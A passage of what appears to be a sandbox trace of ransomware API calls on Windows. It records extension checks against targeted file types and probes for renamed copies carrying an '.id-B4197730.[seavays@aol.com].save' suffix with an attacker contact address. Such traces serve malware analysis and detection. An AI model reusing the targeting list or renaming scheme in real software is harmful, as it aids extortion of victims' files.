lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.379] lstrlenW (lpString=".xlsx") returned 5 [0207.379] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0207.379] lstrlenW (lpString=".ppt") returned 4 [0207.379] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0207.379] lstrlenW (lpString=".zip") returned 4 [0207.379] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.379] lstrlenW (lpString=".rar") returned 4 [0207.379] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.379] lstrlenW (lpString=".bz2") returned 4 [0207.379] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.379] lstrlenW (lpString=".7z") returned 3 [0207.379] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0207.379] lstrlenW (lpString=".dbf") returned 4 [0207.379] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0207.379] lstrlenW (lpString=".1cd") returned 4 [0207.379] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0207.379] lstrlenW (lpString=".jpg") returned 4 [0207.379] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0207.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0207.379] lstrlenW (lpString=".doc") returned 4 [0207.379] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.379] lstrlenW (lpString=".docx") returned 5 [0207.380] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0207.380] lstrlenW (lpString=".pdf") returned 4 [0207.380] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.380] lstrlenW (lpString=".xls") returned 4 [0207.380] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.380] lstrlenW (lpString=".xlsx") returned 5 [0207.380] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0207.380] lstrlenW (lpString=".ppt") returned 4 [0207.380] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0207.380] lstrlenW (lpString=".zip") returned 4 [0207.380] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.380] lstrlenW (lpString=".rar") returned 4 [0207.380] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.380] lstrlenW (lpString=".bz2") returned 4 [0207.380] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.380] lstrlenW (lpString=".7z") returned 3 [0207.380] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0207.380] lstrlenW (lpString=".dbf") returned 4 [0207.380] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0207.380] lstrlenW (lpString=".1cd") returned 4 [0207.380] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0207.380] lstrlenW (lpString=".jpg") returned 4 [0207.380] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.381] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0207.381] lstrlenW (lpString="ipsnor.xml") returned 10 [0207.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0207.382] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=2580) returned 1 [0207.382] CloseHandle (hObject=0x360) returned 1 [0207.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0207.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0207.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0207.382] lstrlenW (lpString=".doc") returned 4 [0207.382] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.382] lstrlenW (lpString=".docx") returned 5 [0207.382] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0207.382] lstrlenW (lpString=".pdf") returned 4 [0207.382] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.382] lstrlenW (lpString=".xls") returned 4 [0207.382] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.382] lstrlenW (lpString=".xlsx") returned 5 [0207.382] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0207.382] lstrlenW (lpString=".ppt") returned 4 [0207.383] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0207.383] lstrlenW (lpString=".zip") returned 4 [0207.383] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.383] lstrlenW (lpString=".rar") returned 4 [0207.383] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.383] lstrlenW (lpString=".bz2") returned 4 [0207.383] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.383] lstrlenW (lpString=".7z") returned 3 [0207.383] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0207.383] lstrlenW (lpString=".dbf") returned 4 [0207.383] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0207.383] lstrlenW (lpString=".1cd") returned 4 [0207.383] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0207.383] lstrlenW (lpString=".jpg") returned 4 [0207.383] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0207.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0207.383] lstrlenW (lpString=".doc") returned 4 [0207.383] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.383] lstrlenW (lpString=".docx") returned 5 [0207.383] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0207.383] lstrlenW (lpString=".pdf") returned 4 [0207.383] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.383] lstrlenW (lpString=".xls") returned 4 [0207.384] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.384] lstrlenW (lpString=".xlsx") returned 5 [0207.384] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0207.384] lstrlenW (lpString=".ppt") returned 4 [0207.384] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0207.384] lstrlenW (lpString=".zip") returned 4 [0207.384] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.384] lstrlenW (lpString=".rar") returned 4 [0207.384] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.384] lstrlenW (lpString=".bz2") returned 4 [0207.384] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.384] lstrlenW (lpString=".7z") returned 3 [0207.384] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0207.384] lstrlenW (lpString=".dbf") returned 4 [0207.384] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0207.384] lstrlenW (lpString=".1cd") returned 4 [0207.384] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 61 [0207.384] lstrlenW (lpString=".jpg") returned 4 [0207.384] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.384] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0207.385] lstrlenW (lpString="ipsplk.xml") returned 10 [0207.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0207.385] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=2600) returned 1 [0207.385] CloseHandle (hObject=0x360) returned 1 [0207.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0207.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0207.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0207.386] lstrlenW (lpString=".doc") returned 4 [0207.386] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.386] lstrlenW (lpString=".docx") returned 5 [0207.386] lstrcmpiW (lpString1=".docx", lpString2="k.xml") returned -1 [0207.386] lstrlenW (lpString=".pdf") returned 4 [0207.386] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.386] lstrlenW (lpString=".xls") returned 4 [0207.386] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.386] lstrlenW (lpString=".xlsx") returned 5 [0207.386] lstrcmpiW (lpString1=".xlsx", lpString2="k.xml") returned -1 [0207.386] lstrlenW (lpString=".ppt") returned 4 [0207.386] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0207.386] lstrlenW (lpString=".zip") returned 4 [0207.386] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.386] lstrlenW (lpString=".rar") returned 4 [0207.386] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.386] lstrlenW (lpString=".bz2") returned 4 [0207.386] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.386] lstrlenW (lpString=".7z") returned 3 [0207.386] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0207.386] lstrlenW (lpString=".dbf") returned 4 [0207.386] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0207.387] lstrlenW (lpString=".1cd") returned 4 [0207.387] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0207.387] lstrlenW (lpString=".jpg") returned 4 [0207.387] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0207.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0207.387] lstrlenW (lpString=".doc") returned 4 [0207.387] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.387] lstrlenW (lpString=".docx") returned 5 [0207.387] lstrcmpiW (lpString1=".docx", lpString2="k.xml") returned -1 [0207.387] lstrlenW (lpString=".pdf") returned 4 [0207.387] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.387] lstrlenW (lpString=".xls") returned 4 [0207.387] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.387] lstrlenW (lpString=".xlsx") returned 5 [0207.387] lstrcmpiW (lpString1=".xlsx", lpString2="k.xml") returned -1 [0207.387] lstrlenW (lpString=".ppt") returned 4 [0207.387] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0207.387] lstrlenW (lpString=".zip") returned 4 [0207.387] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.387] lstrlenW (lpString=".rar") returned 4 [0207.387] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.387] lstrlenW (lpString=".bz2") returned 4 [0207.387] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.387] lstrlenW (lpString=".7z") returned 3 [0207.387] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0207.388] lstrlenW (lpString=".dbf") returned 4 [0207.388] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0207.388] lstrlenW (lpString=".1cd") returned 4 [0207.388] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0207.388] lstrlenW (lpString=".jpg") returned 4 [0207.388] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.388] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0207.388] lstrlenW (lpString="ipsptb.xml") returned 10 [0207.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0207.389] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=2246) returned 1 [0207.389] CloseHandle (hObject=0x360) returned 1 [0207.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0207.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0207.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0207.389] lstrlenW (lpString=".doc") returned 4 [0207.389] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.389] lstrlenW (lpString=".docx") returned 5 [0207.389] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0207.389] lstrlenW (lpString=".pdf") returned 4 [0207.389] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.389] lstrlenW (lpString=".xls") returned 4 [0207.389] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.389] lstrlenW (lpString=".xlsx") returned 5 [0207.390] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0207.390] lstrlenW (lpString=".ppt") returned 4 [0207.390] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0207.390] lstrlenW (lpString=".zip") returned 4 [0207.390] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.390] lstrlenW (lpString=".rar") returned 4 [0207.390] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.390] lstrlenW (lpString=".bz2") returned 4 [0207.390] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.390] lstrlenW (lpString=".7z") returned 3 [0207.390] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0207.390] lstrlenW (lpString=".dbf") returned 4 [0207.390] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0207.390] lstrlenW (lpString=".1cd") returned 4 [0207.390] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0207.390] lstrlenW (lpString=".jpg") returned 4 [0207.390] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0207.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0207.390] lstrlenW (lpString=".doc") returned 4 [0207.390] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.390] lstrlenW (lpString=".docx") returned 5 [0207.390] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0207.391] lstrlenW (lpString=".pdf") returned 4 [0207.391] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.391] lstrlenW (lpString=".xls") returned 4 [0207.391] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.391] lstrlenW (lpString=".xlsx") returned 5 [0207.391] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0207.391] lstrlenW (lpString=".ppt") returned 4 [0207.391] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0207.391] lstrlenW (lpString=".zip") returned 4 [0207.391] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.391] lstrlenW (lpString=".rar") returned 4 [0207.391] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.391] lstrlenW (lpString=".bz2") returned 4 [0207.391] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.391] lstrlenW (lpString=".7z") returned 3 [0207.391] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0207.391] lstrlenW (lpString=".dbf") returned 4 [0207.391] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0207.391] lstrlenW (lpString=".1cd") returned 4 [0207.391] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0207.391] lstrlenW (lpString=".jpg") returned 4 [0207.391] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.392] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0207.392] lstrlenW (lpString="ipsptg.xml") returned 10 [0207.392] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0207.393] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=2240) returned 1 [0207.393] CloseHandle (hObject=0x360) returned 1 [0207.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0207.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.393] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0207.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0207.393] lstrlenW (lpString=".doc") returned 4 [0207.393] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.393] lstrlenW (lpString=".docx") returned 5 [0207.393] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0207.393] lstrlenW (lpString=".pdf") returned 4 [0207.393] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.393] lstrlenW (lpString=".xls") returned 4 [0207.393] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.393] lstrlenW (lpString=".xlsx") returned 5 [0207.393] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0207.393] lstrlenW (lpString=".ppt") returned 4 [0207.393] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0207.393] lstrlenW (lpString=".zip") returned 4 [0207.394] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.394] lstrlenW (lpString=".rar") returned 4 [0207.394] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.394] lstrlenW (lpString=".bz2") returned 4 [0207.394] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.394] lstrlenW (lpString=".7z") returned 3 [0207.394] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0207.394] lstrlenW (lpString=".dbf") returned 4 [0207.394] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0207.394] lstrlenW (lpString=".1cd") returned 4 [0207.394] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0207.394] lstrlenW (lpString=".jpg") returned 4 [0207.394] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0207.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0207.394] lstrlenW (lpString=".doc") returned 4 [0207.394] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.394] lstrlenW (lpString=".docx") returned 5 [0207.394] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0207.394] lstrlenW (lpString=".pdf") returned 4 [0207.394] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.394] lstrlenW (lpString=".xls") returned 4 [0207.394] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.394] lstrlenW (lpString=".xlsx") returned 5 [0207.394] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0207.394] lstrlenW (lpString=".ppt") returned 4 [0207.394] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0207.394] lstrlenW (lpString=".zip") returned 4 [0207.395] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.395] lstrlenW (lpString=".rar") returned 4 [0207.395] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.395] lstrlenW (lpString=".bz2") returned 4 [0207.395] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.395] lstrlenW (lpString=".7z") returned 3 [0207.395] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0207.395] lstrlenW (lpString=".dbf") returned 4 [0207.395] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0207.395] lstrlenW (lpString=".1cd") returned 4 [0207.395] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0207.395] lstrlenW (lpString=".jpg") returned 4 [0207.395] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.395] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0207.395] lstrlenW (lpString="ipsrom.xml") returned 10 [0207.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: 